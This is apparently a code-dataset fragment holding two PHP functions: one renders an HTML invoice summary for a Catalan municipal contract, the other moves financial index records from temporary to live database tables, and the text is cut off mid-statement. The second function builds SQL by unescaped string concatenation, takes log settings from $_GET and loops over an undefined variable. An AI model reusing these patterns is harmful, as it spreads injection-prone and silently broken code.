MUNICIPA: <STRONG>'.$tituloCasal.'</STRONG>'\n . '<BR>'\n . 'ADJUDICATARI: <STRONG>'.'SERVEIS A LES PERSONES INCOOP, SCCL</STRONG>'\n . '<BR>'\n . 'NIF ADJUDICATARI: <STRONG>F60137411</STRONG>'\n . '<BR>'\n . 'NÚM CONTRACTE: <STRONG>18001022</STRONG>'\n . '<BR>'\n . 'Periode: <STRONG>'.substr($desde,8,2).'/'.substr($desde,5,2).'/'.substr($desde,0,4).' - '.substr($hasta,8,2).'/'.substr($hasta,5,2).'/'.substr($hasta,0,4).'</STRONG>'\n . '<BR>'\n . '<BR>';\n \n \n \n \n \n \n $salida.=$tabla;\n $salida.=$pieTablaDevoluciones;\n $salida.='<br><h4>RESUM TOTAL</h4>';\n \n $importeResumen=number_format($importeTotal,2)+number_format($importeTotalDevoluciones,2);\n $resumenTotal='<table class=\"table table-bordered table-hover\"><tbody>\n <thead>\n <tr >\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-top:2px solid black;border-right:2px solid black;border-left:2px solid black;\">IMPORT TOTAL</th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n \n </tr>\n <tr >\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-left:1px solid white;\"></th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:2px solid #DDDDDD;border-top:2px solid #DDDDDD;border-left:1px solid #DDDDDD;\">T O T A L S</th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:2px solid black;border-top:2px solid black;border-right:2px solid black;border-left:2px solid black;\">'.number_format($importeResumen,2).'</th>\n <th class=\"col-sm-1 text-center\" style=\"border-bottom:1px solid white;border-top:1px solid white;border-right:1px solid white;border-left:1px solid white;\"></th>\n \n </tr>\n\n\n\n </thead></tbody></table>';\n \n $salida.=$resumenTotal;\n \n \n \n \n return $salida;\n \n }", "function index() \n\t{\n\t\t/* TODO: This logic can be optimized more */\n\t\t\n\t\t$datevalue = $this->_date;\n\t\t\n\t\tif($_GET['log_file'])\n\t\t\tdefine(\"log_file\", $_GET['log_file']);\n\t\t\n\t\tif($_GET['DEBUG'])\n\t\t\tdefine(\"DEBUG\", $_GET['DEBUG']);\n\n\t\t$this->log_info(log_file, \"CA replaceindex process started\");\n\t\t\n\t\t$finalArray = array ();\n\t\t\n\t\t/* Fetch list of all upcoming indexes with today as the live date */\n\t\t$totalindxxs = $this->db->getResult ( \"select * from tbl_indxx_temp where status='1' and usersignoff='1' and dbusersignoff='1' and submitted='1' and finalsignoff='1' and dateStart='\" . $datevalue . \"' \", true );\n\t\t\n\t\tif (! empty ( $indexdata )) \n\t\t{\n\t\t\tforeach ( $indexdata as $k1 => $oldindxx ) \n\t\t\t{\n\t\t\t\t$finalArray [$k1] = $oldindxx;\n\t\t\t\t\n\t\t\t\t/* Fetch the list of securities for this index */\n\t\t\t\t$oldTickers = $this->db->getResult ( \"Select * from tbl_indxx_ticker_temp where indxx_id ='\" . $oldindxx ['id'] . \"'\", true );\n\t\t\t\t$finalArray [$k1] ['tickers'] = $oldTickers;\n\n\t\t\t\t/* Fetch shares for this index */\n\t\t\t\t$oldShares = $this->db->getResult ( \"Select * from tbl_share_temp where indxx_id ='\" . $oldindxx ['id'] . \"'\", true );\n\t\t\t\t$finalArray [$k1] ['shares'] = $oldShares;\n\n\t\t\t\t/* Fetch the index value */\n\t\t\t\t$oldindxxvalue = $this->db->getResult ( \"Select * from tbl_indxx_value_temp where indxx_id ='\" . $oldindxx ['id'] . \"' order by date desc \", false, 1 );\n\t\t\t\t$finalArray [$k1] ['oldindxxvalue'] = $oldindxxvalue;\n\t\t\t\t\n\t\t\t\t/* Fetch the currency converted prices of various securities for this index */\n\t\t\t\t$oldPrices = $this->db->getResult ( \"Select * from tbl_final_price_temp where indxx_id ='\" . $oldindxx ['id'] . \"' and date='\" . $oldindxxvalue ['date'] . \"'\", true );\n\t\t\t\t$finalArray [$k1] ['prices'] = $oldPrices;\n\t\t\t\t\n\t\t\t\t/* Check if this index is listed in the delist queue */\n\t\t\t\t$delistReq = $this->db->getResult ( \"Select * from tbl_delist_tempindex_req where indxx_id ='\" . $oldindxx ['id'] . \"'\", true );\n\t\t\t\t$delistArray = array ();\n\n\t\t\t\tif (! empty ( $delistReq )) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $delistReq as $k2 => $delisting ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$delistArray [$k2] = $delisting;\n\t\t\t\t\t\t\n\t\t\t\t\t\t$delistSec = $this->db->getResult ( \"Select * from tbl_delist_tempsecurity where indxx_id ='\" . $delisting ['indxx_id'] . \"' and req_id='\" . $delisting ['id'] . \"'\", true );\n\t\t\t\t\t\t$delistArray [$k2] ['security'] = $delistSec;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$finalArray [$k1] ['delisting'] = $delistArray;\n\t\t\t\t\n\t\t\t\t// //Replace Security\n\t\t\t\t$replaceReq = $this->db->getResult ( \"Select * from tbl_replace_tempindex_req where indxx_id ='\" . $oldindxx ['id'] . \"'\", true );\n\n\t\t\t\t$replaceArray = array ();\n\t\t\t\tif (! empty ( $replaceReq )) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $replaceReq as $k3 => $replacement ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$replaceArray [$k3] = $replacement;\n\t\t\t\t\t\t\n\t\t\t\t\t\t$replaceSec = $this->db->getResult ( \"Select * from tbl_replace_tempsecurity where indxx_id ='\" . $replacement ['indxx_id'] . \"' and req_id='\" . $replacement ['id'] . \"'\", true );\n\t\t\t\t\t\t$replaceArray [$k3] ['selectedsecurity'] = $replaceSec;\n\t\t\t\t\t\t\n\t\t\t\t\t\t$replacedSec = $this->db->getResult ( \"Select * from tbl_tempsecurities_replaced where indxx_id ='\" . $replacement ['indxx_id'] . \"' and req_id='\" . $replacement ['id'] . \"'\", true );\n\t\t\t\t\t\t$replaceArray [$k3] ['replacedsecurity'] = $replacedSec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$finalArray [$k1] ['replacement'] = $replaceArray;\n\t\t\t\t\n\t\t\t\t$oldAssignedUsers = $this->db->getResult ( \"Select * from tbl_assign_index_temp where indxx_id ='\" . $oldindxx ['id'] . \"'\", true );\n\t\t\t\t$finalArray [$k1] ['oldUsers'] = $oldAssignedUsers;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (! empty ( $finalArray )) \n\t\t{\n\t\t\t$textdata = $this->arr_to_csv ( $finalArray );\n\t\t\t$csv = '';\n\n\t\t\tforeach ( $textdata as $text )\n\t\t\t\t$csv .= $text . \"\\n\";\n\n\t\t\t$output_folder = \"../files/output/ca-index-backup/\";\n\t\t\tif (!file_exists($output_folder))\n\t\t\t\tmkdir($output_folder, 0777, true);\n\t\t\t\n\t\t\t$file = $output_folder. \"backup-upcomming-\" . $datevalue . \".txt\";\n\t\t\t$open = fopen ( $file, \"w+\" );\n\t\t\t\n\t\t\tif ($open) \n\t\t\t{\n\t\t\t\tif (fwrite ( $open, $csv )) \n\t\t\t\t{\n\t\t\t\t\tfclose ( $open );\n\t\t\t\t\t$this->log_info(log_file, \"File written = \" .$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->log_error(log_file, \"Unable to write file = \" .$file);\n\t\t\t\t\t$this->mail_exit(log_file, __FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->log_error(log_file, \"Unable to open file = \" .$file);\n\t\t\t\t$this->mail_exit(log_file, __FILE__, __LINE__);\n\t\t\t}\n\t\t\t\t\n\t\t\t/* Push each upcoming index, with today as live date, into the live index table list */\n\t\t\tforeach ( $finalArray as $skey => $newIndxx ) \n\t\t\t{\n\t\t\t\t$newIndexArray = array ();\n\t\t\t\t\n\t\t\t\t$checkindex = $this->db->getResult ( \"Select * from tbl_indxx where code ='\" . $newIndxx ['code'] . \"'\" );\n\t\t\t\t\n\t\t\t\tif (! empty ( $checkindex ))\n\t\t\t\t{\n\t\t\t\t\t/* TODO: Check with Deepak how this scenario can occur? It should not be in live in list */\n\t\t\t\t\t/* AMIT: case with rebalancing */\n\t\t\t\t\t$newIndexArray ['indexdetails'] = $checkindex;\t\t\t\t\t\n\t\t\t\t\t$this->db->query ( \"delete from tbl_indxx where code ='\" . $newIndxx ['code'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checktickers = $this->db->getResult ( \"Select * from tbl_indxx_ticker where indxx_id ='\" . $checkindex ['id'] . \"'\", true );\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['tickers'] = $checktickers;\n\t\t\t\t\t$this->db->query ( \"delete from tbl_indxx_ticker where indxx_id ='\" . $checkindex ['id'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checkindexvalue = $this->db->getResult ( \"Select * from tbl_indxx_value where indxx_id ='\" . $checkindex ['id'] . \"' order by date desc\", false, 1 );\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['indexvalue'] = $checkindexvalue;\t\t\t\t\t\n\t\t\t\t\t$this->db->query ( \"delete from tbl_indxx_value where indxx_id ='\" . $checkindex ['id'] . \"' and date='\" . $checkindexvalue ['date'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checkprice = $this->db->getResult ( \"Select * from tbl_final_price where indxx_id ='\" . $checkindex ['id'] . \"' and date='\" . $checkindexvalue ['date'] . \"'\", true );\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['price'] = $checkprice;\n\t\t\t\t\t$this->db->query ( \"delete from tbl_final_price where indxx_id ='\" . $checkindex ['id'] . \"' and date='\" . $checkindexvalue ['date'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checkshares = $this->db->getResult ( \"Select * from tbl_share where indxx_id ='\" . $checkindex ['id'] . \"'\", true );\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['shares'] = $checkshares;\n\t\t\t\t\t$this->db->query ( \"delete from tbl_share where indxx_id ='\" . $checkindex ['id'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checkdelistReq = $this->db->getResult ( \"Select * from tbl_delist_runnindex_req where indxx_id ='\" . $checkindex ['id'] . \"'\", true );\n\t\t\t\t\t\n\t\t\t\t\t$checkdelistArray = array ();\n\t\t\t\t\tif (! empty ( $checkdelistReq )) \n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ( $checkdelistReq as $kch => $checkdelisting ) \n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\t$checkdelistSec = $this->db->getResult ( \"Select * from tbl_delist_runnsecurity where indxx_id ='\" . $checkdelisting ['indxx_id'] . \"' and req_id='\" . $checkdelisting ['id'] . \"'\", true );\n\t\t\t\t\t\t\t$checkdelistArray [$kch] = $checkdelisting;\n\t\t\t\t\t\t\t$checkdelistArray [$kch] ['security'] = $checkdelistSec;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->db->query ( \"delete from tbl_delist_runnsecurity where indxx_id ='\" . $checkdelisting ['indxx_id'] . \"' and req_id='\" . $checkdelisting ['id'] . \"'\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['delisting'] = $checkdelistArray;\n\t\t\t\t\t\n\t\t\t\t\t$this->db->query ( \"delete from tbl_delist_runnindex_req where indxx_id ='\" . $checkindex ['id'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checkreplaceReq = $this->db->getResult ( \"Select * from tbl_replace_runnindex_req where indxx_id ='\" . $checkindex ['id'] . \"'\", true );\n\t\t\t\t\t$checkreplaceArray = array ();\n\n\t\t\t\t\tif (! empty ( $checkreplaceReq )) \n\t\t\t\t\t{\n\t\t\t\t\t\tforeach ( $checkreplaceReq as $kchk => $checkreplacement ) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$checkreplaceSec = $this->db->getResult ( \"Select * from tbl_replace_runnsecurity where indxx_id ='\" . $checkreplacement ['indxx_id'] . \"' and req_id='\" . $checkreplacement ['id'] . \"'\", true );\n\t\t\t\t\t\t\t$checkreplaceArray [$kchk] = $checkreplacement;\n\t\t\t\t\t\t\t$checkreplaceArray [$kchk] ['selectedsecurity'] = $checkreplaceSec;\n\n\t\t\t\t\t\t\t$this->db->query ( \"delete from tbl_replace_runnsecurity where indxx_id ='\" . $checkreplacement ['indxx_id'] . \"' and req_id='\" . $checkreplacement ['id'] . \"'\" );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$checkreplacedSec = $this->db->getResult ( \"Select * from tbl_runnsecurities_replaced where indxx_id ='\" . $checkreplacement ['indxx_id'] . \"' and req_id='\" . $checkreplacement ['id'] . \"'\", true );\n\t\t\t\t\t\t\t$checkreplaceArray [$kchk] ['replacedsecurity'] = $checkreplacedSec;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$this->db->query ( \"delete from tbl_runnsecurities_replaced where indxx_id ='\" . $checkreplacement ['indxx_id'] . \"' and req_id='\" . $checkreplacement ['id'] . \"'\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['replacement'] = $checkreplaceArray;\n\t\t\t\t\t$this->db->query ( \"delete from tbl_replace_runnindex_req where indxx_id ='\" . $checkindex ['id'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\t$checkusers = $this->db->getResult ( \"Select * from tbl_assign_index where indxx_id ='\" . $checkindex ['id'] . \"'\", true );\n\t\t\t\t\t$newIndexArray ['indexdetails'] ['users'] = $checkusers;\n\n\t\t\t\t\t$this->db->query ( \"delete from tbl_assign_index where indxx_id ='\" . $checkindex ['id'] . \"'\" );\n\t\t\t\t\t\n\t\t\t\t\tif (! empty ( $newIndexArray )) \n\t\t\t\t\t{\n\t\t\t\t\t\t$textdata = $this->arr_to_csv ( $newIndexArray );\n\t\t\t\t\t\t$csv = '';\n\n\t\t\t\t\t\tforeach ( $textdata as $text )\n\t\t\t\t\t\t\t$csv .= $text . \"\\n\";\n\n\t\t\t\t\t\t$file = $output_folder. \"backup-running-\" . $checkindex ['code'] . \"-\" . $datevalue . \".txt\";\n\t\t\t\t\t\t$open = fopen ( $file, \"w+\" );\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($open) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (fwrite ( $open, $csv )) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfclose ( $open );\n\t\t\t\t\t\t\t\t$this->info(\"File written for\" . $checkindex ['code']);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->log_error(log_file, \"Unable to write file = \" .$file);\n\t\t\t\t\t\t\t\t$this->mail_exit(log_file, __FILE__, __LINE__);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->log_error(log_file, \"Unable to open file = \" .$file);\n\t\t\t\t\t\t\t$this->mail_exit(log_file, __FILE__, __LINE__);\n\t\t\t\t\t\t}\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$insertIndexQuery = \"Insert into tbl_indxx set name='\" . mysql_real_escape_string ( $newIndxx ['name'] ) . \"',code='\" . mysql_real_escape_string ( $newIndxx ['code'] ) . \"',investmentammount='\" . mysql_real_escape_string ( $newIndxx ['investmentammount'] ) . \"',indexvalue='\" . mysql_real_escape_string ( $newIndxx ['indexvalue'] ) . \"',divisor='\" . ($newIndxx ['divisor']) . \"',type='\" . mysql_real_escape_string ( $newIndxx ['type'] ) . \"',cash_adjust='\" . mysql_real_escape_string ( $newIndxx ['cash_adjust'] ) . \"',curr='\" . mysql_real_escape_string ( $newIndxx ['curr'] ) . \"',status='\" . mysql_real_escape_string ( $newIndxx ['status'] ) . \"',dateAdded='\" . mysql_real_escape_string ( $newIndxx ['dateAdded'] ) . \"',lastupdated='\" . mysql_real_escape_string ( $newIndxx ['lastupdated'] ) . \"',dateStart='\" . mysql_real_escape_string ( $newIndxx ['dateStart'] ) . \"',usersignoff='\" . mysql_real_escape_string ( $newIndxx ['usersignoff'] ) . \"',dbusersignoff='\" . mysql_real_escape_string ( $newIndxx ['dbusersignoff'] ) . \"',submitted='\" . mysql_real_escape_string ( $newIndxx ['submitted'] ) . \"',finalsignoff='\" . mysql_real_escape_string ( $newIndxx ['finalsignoff'] ) . \"',runindex='\" . mysql_real_escape_string ( $newIndxx ['runindex'] ) . \"',addtype='\" . mysql_real_escape_string ( $newIndxx ['addtype'] ) . \"',zone='\" . mysql_real_escape_string ( $newIndxx ['zone'] ) . \"',client_id='\" . mysql_real_escape_string ( $newIndxx ['client_id'] ) . \"',display_currency='\" . mysql_real_escape_string ( $newIndxx ['display_currency'] ) . \"' ,ireturn='\" . mysql_real_escape_string ( $newIndxx ['ireturn'] ) . \"',div_type='\" . mysql_real_escape_string ( $newIndxx ['div_type'] ) . \"',currency_hedged='\" . mysql_real_escape_string ( $newIndxx ['currency_hedged'] ) . \"',priority='\" . mysql_real_escape_string ( $newIndxx ['priority'] ) . \"',divpvalue='\" . mysql_real_escape_string ( $newIndxx ['divpvalue'] ) . \"'\";\t\t\t\t\n\t\t\t\t$this->db->query ( $insertIndexQuery );\n\t\t\t\t\n\t\t\t\t$NewIndxxId = mysql_insert_id ();\n\n\t\t\t\t$this->db->query ( \"delete from tbl_indxx_temp where id='\" . $newIndxx ['id'] . \"'\" );\n\t\t\t\t\n\t\t\t\t$tickerTempArray = array ();\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['tickers'] )) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $newIndxx ['tickers'] as $k4 => $newTickers ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$insertTickerQuery = \"Insert into tbl_indxx_ticker set name='\" . mysql_real_escape_string ( $newTickers ['name'] ) . \"',isin='\" . mysql_real_escape_string ( $newTickers ['isin'] ) . \"',ticker='\" . mysql_real_escape_string ( $newTickers ['ticker'] ) . \"',weight='\" . mysql_real_escape_string ( $newTickers ['weight'] ) . \"',curr='\" . mysql_real_escape_string ( $newTickers ['curr'] ) . \"',divcurr='\" . mysql_real_escape_string ( $newTickers ['divcurr'] ) . \"',dateAdded='\" . mysql_real_escape_string ( $newTickers ['dateAdded'] ) . \"',status='\" . ($newTickers ['status']) . \"',sedol='\" . mysql_real_escape_string ( $newTickers ['sedol'] ) . \"',cusip='\" . mysql_real_escape_string ( $newTickers ['cusip'] ) . \"',countryname='\" . mysql_real_escape_string ( $newTickers ['countryname'] ) . \"', indxx_id='\" . $NewIndxxId . \"' \";\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( $insertTickerQuery );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$tickerTempArray [$newTickers ['id']] = mysql_insert_id ();\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( \"delete from tbl_indxx_ticker_temp where indxx_id='\" . $newIndxx ['id'] . \"'\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['shares'] )) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $newIndxx ['shares'] as $k4 => $newShares ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$insertShareQuery = \"Insert into tbl_share set dateAdded='\" . $newShares ['dateAdded'] . \"',isin='\" . $newShares ['isin'] . \"',date='\" . $newShares ['date'] . \"',share='\" . $newShares ['share'] . \"', indxx_id='\" . $NewIndxxId . \"' \";\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( $insertShareQuery );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( \"delete from tbl_share_temp where indxx_id='\" . $newIndxx ['id'] . \"'\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['oldUsers'] )) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $newIndxx ['oldUsers'] as $k4 => $newUsers ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$insertUserQuery = \"Insert into tbl_assign_index set dateAdded='\" . $newUsers ['dateAdded'] . \"',status='\" . $newUsers ['status'] . \"',user_id='\" . $newUsers ['user_id'] . \"',isAdmin='\" . $newUsers ['isAdmin'] . \"', indxx_id='\" . $NewIndxxId . \"' \";\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( $insertUserQuery );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( \"delete from tbl_assign_index_temp where indxx_id='\" . $newIndxx ['id'] . \"'\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['prices'] )) \n\t\t\t\t{\n\t\t\t\t\tforeach ( $newIndxx ['prices'] as $k4 => $newPrices ) \n\t\t\t\t\t{\n\t\t\t\t\t\t$insertPriceQuery = \"Insert into tbl_final_price set dateAdded='\" . $newPrices ['dateAdded'] . \"',isin='\" . $newPrices ['isin'] . \"',date='\" . $newPrices ['date'] . \"',price='\" . $newPrices ['price'] . \"',currencyfactor='\" . $newPrices ['currencyfactor'] . \"', \tlocalprice='\" . $newPrices ['localprice'] . \"', indxx_id='\" . $NewIndxxId . \"' \";\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( $insertPriceQuery );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( \"delete from tbl_final_price_temp where indxx_id='\" . $newIndxx ['id'] . \"' and date='\" . $newPrices ['date'] . \"'\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['oldindxxvalue'] )) {\n\t\t\t\t\t$insertOldindxxvalueQuery = \"Insert into tbl_indxx_value set dateAdded='\" . $newIndxx ['oldindxxvalue'] ['dateAdded'] . \"',market_value='\" . $newIndxx ['oldindxxvalue'] ['market_value'] . \"',indxx_value='\" . $newIndxx ['oldindxxvalue'] ['indxx_value'] . \"',date='\" . $newIndxx ['oldindxxvalue'] ['date'] . \"',olddivisor='\" . $newIndxx ['oldindxxvalue'] ['olddivisor'] . \"', \tnewdivisor='\" . $newIndxx ['oldindxxvalue'] ['newdivisor'] . \"', \tcode='\" . $newIndxx ['oldindxxvalue'] ['code'] . \"', indxx_id='\" . $NewIndxxId . \"' \";\n\t\t\t\t\t\n\t\t\t\t\t$this->db->query ( $insertOldindxxvalueQuery );\n\t\t\t\t\t\n\t\t\t\t\t$this->db->query ( \"delete from tbl_indxx_value_temp where indxx_id='\" . $newIndxx ['id'] . \"' and date='\" . $newIndxx ['oldindxxvalue'] ['date'] . \"'\" );\n\t\t\t\t}\n\t\t\t\t// //Delisting Insert to new\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['delisting'] )) {\n\t\t\t\t\tforeach ( $newIndxx ['delisting'] as $k5 => $newdelist ) {\n\t\t\t\t\t\t$insertDelistReqQuery = \"Insert into tbl_delist_runnindex_req set status='\" . $newdelist ['status'] . \"',dateAdded='\" . $newdelist ['dateAdded'] . \"',startdate='\" . $newdelist ['startdate'] . \"', \tadminapprove='\" . $newdelist ['adminapprove'] . \"',dbapprove='\" . $newdelist ['dbapprove'] . \"',user_id='\" . $newdelist ['user_id'] . \"', indxx_id='\" . $NewIndxxId . \"' \";\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( $insertDelistReqQuery );\n\t\t\t\t\t\t$newdelistId = mysql_insert_id ();\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (! empty ( $newdelist ['security'] )) {\n\t\t\t\t\t\t\tforeach ( $newdelist ['security'] as $newDelistSecurity ) {\n\t\t\t\t\t\t\t\t$insertDelistSecQuery = \"Insert into tbl_delist_runnsecurity set status='\" . $newDelistSecurity ['status'] . \"',dateAdded='\" . $newDelistSecurity ['dateAdded'] . \"',security_id='\" . $tickerTempArray [$newDelistSecurity ['security_id']] . \"',req_id='\" . $newdelistId . \"', indxx_id='\" . $NewIndxxId . \"' \";\n\t\t\t\t\t\t\t\t$this->db->query ( $insertDelistSecQuery );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$this->db->query ( \"delete from tbl_delist_tempsecurity where id='\" . $newDelistSecurity ['id'] . \"'\" );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( \"delete from tbl_delist_tempindex_req where indxx_id='\" . $newIndxx ['id'] . \"' and id='\" . $newdelist ['id'] . \"'\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (! empty ( $newIndxx ['replacement'] )) {\n\t\t\t\t\tforeach ( $newIndxx ['replacement'] as $k6 => $newReplace ) {\n\t\t\t\t\t\t$insertReplaceReqQuery = \"Insert into tbl_replace_runnindex_req set status='\" . $newReplace ['status'] . \"',dateAdded='\" . $newReplace ['dateAdded'] . \"',startdate='\" . $newReplace ['startdate'] . \"', \tadminapprove='\" . $newReplace ['adminapprove'] . \"',dbapprove='\" . $newReplace ['dbapprove'] . \"',user_id='\" . $newReplace ['user_id'] . \"', indxx_id='\" . $NewIndxxId . \"' \";\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( $insertReplaceReqQuery );\n\t\t\t\t\t\t$newReplaceId = mysql_insert_id ();\n\t\t\t\t\t\tif (! empty ( $newReplace ['selectedsecurity'] )) {\n\t\t\t\t\t\t\tforeach ( $newReplace ['selectedsecurity'] as $newReplaceSecurity ) {\n\t\t\t\t\t\t\t\t$insertReplaceSecQuery = \"Insert into tbl_replace_runnsecurity set status='\" . $newReplaceSecurity ['status'] . \"',dateAdded='\" . $newReplaceSecurity ['dateAdded'] . \"',security_id='\" . $tickerTempArray [$newReplaceSecurity ['security_id']] . \"',req_id='\" . $newReplaceId . \"', indxx_id='\" . $NewIndxxId . \"' \";\n\t\t\t\t\t\t\t\t$this->db->query ( $insertReplaceSecQuery );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$this->db->query ( \"delete from tbl_replace_tempsecurity where id='\" . $newReplaceSecurity ['id'] . \"'\" );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (! empty ( $newReplace ['replacedsecurity'] )) {\n\t\t\t\t\t\t\tforeach ( $newReplace ['replacedsecurity'] as $newReplacedSecurity ) {\n\t\t\t\t\t\t\t\t$insertReplacedQuery = \"Insert into tbl_runnsecurities_replaced set status='\" . $newReplaceSecurity ['status'] . \"',dateAdded='\" . $newReplaceSecurity ['dateAdded'] . \"',name='\" . mysql_real_escape_string ( $newReplacedSecurity ['name'] ) . \"',isin='\" . mysql_real_escape_string ( $newReplacedSecurity ['isin'] ) . \"',ticker='\" . mysql_real_escape_string ( $newReplacedSecurity ['ticker'] ) . \"',weight='\" . mysql_real_escape_string ( $newReplacedSecurity ['weight'] ) . \"',curr='\" . mysql_real_escape_string ( $newReplacedSecurity ['curr'] ) . \"',divcurr='\" . mysql_real_escape_string ( $newReplacedSecurity ['divcurr'] ) . \"',sedol='\" . mysql_real_escape_string ( $newReplacedSecurity ['sedol'] ) . \"',cusip='\" . mysql_real_escape_string ( $newReplacedSecurity ['cusip'] ) . \"',countryname='\" . mysql_real_escape_string ( $newReplacedSecurity ['countryname'] ) . \"',req_id='\" . $newReplaceId . \"', indxx_id='\" . $NewIndxxId . \"' \";\n\t\t\t\t\t\t\t\t$this->db->query ( 